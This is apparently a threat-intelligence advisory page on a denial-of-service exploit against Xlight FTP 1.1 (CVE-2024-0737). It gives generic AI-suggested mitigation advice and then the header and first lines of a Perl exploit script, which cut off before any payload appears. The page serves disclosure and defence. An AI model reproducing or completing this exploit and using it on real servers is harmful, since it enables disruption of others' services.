Xlight FTP 1.1 · Denial Of Service (DOS)
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Rated by Threat Radar
Data as of 29 Sep 2025, 00:52 UTC
What to do
AI-suggested
Organizations should immediately assess their exposure by identifying any deployments of Xlight FTP 1.1 within their infrastructure. Given the lack of official patches, mitigation should focus on network-level protections such as implementing rate limiting and traffic filtering to detect and block anomalous FTP traffic patterns indicative of DoS attempts. Deploying intrusion detection/prevention systems (IDS/IPS) with signatures tuned for FTP anomalies can help mitigate exploitation. If feasible, organizations should consider migrating to more secure and actively maintained FTP server software versions or alternative secure file transfer protocols (e.g., SFTP or FTPS) that offer better security and resilience. Additionally, isolating FTP servers behind firewalls and restricting access to trusted IP addresses can reduce the attack surface. Monitoring server logs for unusual connection attempts or crashes will aid in early detection of exploitation attempts. Finally, organizations should maintain regular backups and have incident response plans ready to restore services promptly if disruption occurs.
Description
Xlight FTP 1.1 - Denial Of Service (DOS)
Indicators of compromise
Exploit source code
# Exploit Title: Xlight FTP 1.1 - Denial Of Service (DOS)
# Google Dork: N/A
# Date: 22 July 2025
# Exploit Author: Fernando Mengali
# LinkedIn: https://www.linkedin.com/in/fernando-mengali/
# Vendor Homepage: https://www.xlightftpd.com
# Software Link: N/A
# Version: 1.1
# Tested on: Windows XP
# CVE: CVE-2024-0737
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploitin…